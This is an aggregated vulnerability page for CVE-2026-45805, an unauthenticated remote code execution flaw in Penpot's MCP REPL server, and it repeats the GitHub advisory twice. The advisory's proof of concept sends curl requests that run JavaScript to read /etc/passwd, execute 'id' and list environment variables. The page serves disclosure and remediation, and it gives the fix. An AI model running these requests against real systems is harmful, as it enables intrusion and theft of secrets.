CVE-2026-45805
Penpot: MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE
Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.
Attack profile
How easy it is to exploit
- Attack vector
- Adjacent network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
Penpot: MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE
Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.
- Record
CVE-2026-45805- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-749
- Updated
- 2026-11-02
EUVDEUVD-2026-44700
8.8
Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.
- Record
EUVD-2026-44700- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-22qr-rp27-j9wm
8.8
PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE
Summary
The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.
Details
mcp/packages/server/src/ReplServer.ts:89:
this.server = this.app.listen(this.port, () => {
// NO HOST ARGUMENT — Express defaults to 0.0.0.0
Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):
this.app.listen(this.port, this.host, async () => {
The /execute endpoint at ReplServer.ts:52-79:
this.app.post("/execute", async (req, res) => {
const { code } = req.body;
// No auth check. Executes code via PluginBridge.executePluginTask()
const task = new ExecuteCodePluginTask({ code });
const result = await this.pluginBridge.executePluginTask(task);
No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.
This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.ts — ReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.
PoC
I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.
$ node server.js
REPL server started on port 4403
Bound to: :::4403
All interfaces: YES
Unauthenticated code execution:
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"os\").hostname()"}'
{"success":true,"result":"kali"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}'
{"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}'
{"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}'
{"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}
Binding verification:
$ ss -tlnp | grep 4403
LISTEN 0 511 *:4403 *:* users:(("node",pid=696955,fd=21))
Listening on *:4403 — all interfaces.
Remote access from Docker container:
$ docker exec penpot-backend curl -s http://172.18.0.1:4403/
REPL Server - Penpot MCP (no auth)
Reachable from any container on the Docker network.
Impact
Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.
Suggested fix
Two lines:
- Add a
hostparameter to the listen call inReplServer.ts:89:
this.server = this.app.listen(this.port, 'localhost', () => {
- Add authentication to the
/executeendpoint. Even a shared secret from an environment variable would be better than nothing.
- Record
GHSA-22qr-rp27-j9wm- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-749
- Updated
- 2026-11-02
NVD
8.8
Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.
- Record
CVE-2026-45805- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-749
- Updated
- 2026-11-02
OSV
8.8
Penpot: MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE
Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.
- Record
CVE-2026-45805- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-749
- Updated
- 2026-11-02
OSVGHSA-22qr-rp27-j9wm
8.8
PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE
Summary
The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.
Details
mcp/packages/server/src/ReplServer.ts:89:
this.server = this.app.listen(this.port, () => {
// NO HOST ARGUMENT — Express defaults to 0.0.0.0
Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):
this.app.listen(this.port, this.host, async () => {
The /execute endpoint at ReplServer.ts:52-79:
this.app.post("/execute", async (req, res) => {
const { code } = req.body;
// No auth check. Executes code via PluginBridge.executePluginTask()
const task = new ExecuteCodePluginTask({ code });
const result = await this.pluginBridge.executePluginTask(task);
No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.
This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.ts — ReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.
PoC
I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.
$ node server.js
REPL server started on port 4403
Bound to: :::4403
All interfaces: YES
Unauthenticated code execution:
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"os\").hostname()"}'
{"success":true,"result":"kali"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}'
{"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}'
{"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"}
$ curl -s -X POST http://localhost:4403/execute \
-H "Content-Type: application/json" \
-d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}'
{"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}
Binding verification:
$ ss -tlnp | grep 4403
LISTEN 0 511 *:4403 *:* users:(("node",pid=696955,fd=21))
Listening on *:4403 — all interfaces.
Remote access from Docker container:
$ docker exec penpot-backend curl -s http://172.18.0.1:4403/
REPL Server - Penpot MCP (no auth)
Reachable from any container on the Docker network.
Impact
Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.
Suggested fix
Two lines:
- Add a
hostparameter to the listen call inReplServer.ts:89:
this.server = this.app.listen(this.port, 'localhost', () => {
- Add authentication to the
/executeendpoint. Even a shared secret from an environment variable would be better than nothing.
- Record
GHSA-22qr-rp27-j9wm- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-749
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@penpot/mcpnpm |
before 2.15.0 | 2.15.0 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | overgrowncarrot1/PenPot-RCE | 2026-07-25 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-45805 is a high vulnerability (CVSS 8.8) in Penpot, published May 19, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.38%, the 32nd percentile. Fixed in @penpot/mcp 2.15.0.
References
github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm
github.com/penpot/penpot/issues/9518
github.com/penpot/penpot/commit/798ee46b4a84ee6dfc756b001f33acbe0280d62f
github.com/penpot/penpot/releases/tag/2.15.0
github.com/advisories/GHSA-22qr-rp27-j9wm
github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45805.json
nvd.nist.gov/vuln/detail/CVE-2026-45805
github.com/penpot/penpot